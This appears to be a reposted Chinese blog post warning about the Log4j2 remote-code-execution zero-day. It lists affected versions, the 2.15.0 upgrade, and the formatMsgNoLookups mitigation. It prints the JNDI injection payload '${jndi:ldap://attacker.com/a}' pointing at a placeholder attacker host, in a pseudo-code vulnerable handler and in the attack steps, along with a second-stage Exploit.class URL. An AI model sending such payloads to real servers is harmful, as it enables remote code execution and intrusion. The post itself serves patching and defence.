知名Java日志组件Log4j2爆出严重0 day漏洞,连我们客户都来问中招了没
今天早上醒来,知名的Java日志组件Apache Log4j2就刷爆了圈子。它被发现了一个 0 Day 漏洞,该Log4J2 漏洞可以让黑客通过日志记录远程执行代码(Remote Code Execution)。由于这个日志库被普遍使用,而这个漏洞又非常容易使用,所以造成的风险也非常严重,让人不得不提高防范。就连不懂代码的客户都来问系统是否存在这个问题。
受影响的版本
受本次漏洞影响的版本范围为Apache log4j2 2.0 - 2.14.1。
安全版本
正式补丁版本2.15.0已发布,请立即升级。
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
</dependency>
</dependencies>
临时补救措施
不是所有的应用和使用者都能及时升级到安全版本。目前也有临时的补救措施。
修改JVM参数,设置
-Dlog4j2.formatMsgNoLookups=true
。在涉及漏洞的项目的类路径(classpath)下增加
log4j2.component.properties
配置文件并增加配置项log4j2.formatMsgNoLookups=true
。
攻击原理
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
攻击步骤
攻击者向漏洞服务器发起攻击请求。
服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a}
,attacker.com
是攻击者控制的地址。记录的恶意负载被触发,服务器通过JNDI向
attacker.com
请求。attacker.com
就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
。攻击者执行恶意脚本。

不要小看这个漏洞
因为log4j
的使用范围太广了,很多应用都中招了。
连Minecraft 游戏的PaperMC服务器都未能幸免。所以赶紧排查打补丁吧。



文章来源: felord.blog.csdn.net,作者:码农小胖哥,版权归原作者所有,如需转载,请联系作者。
原文链接:felord.blog.csdn.net/article/details/121867720
- 点赞
- 收藏
- 关注作者
评论(0)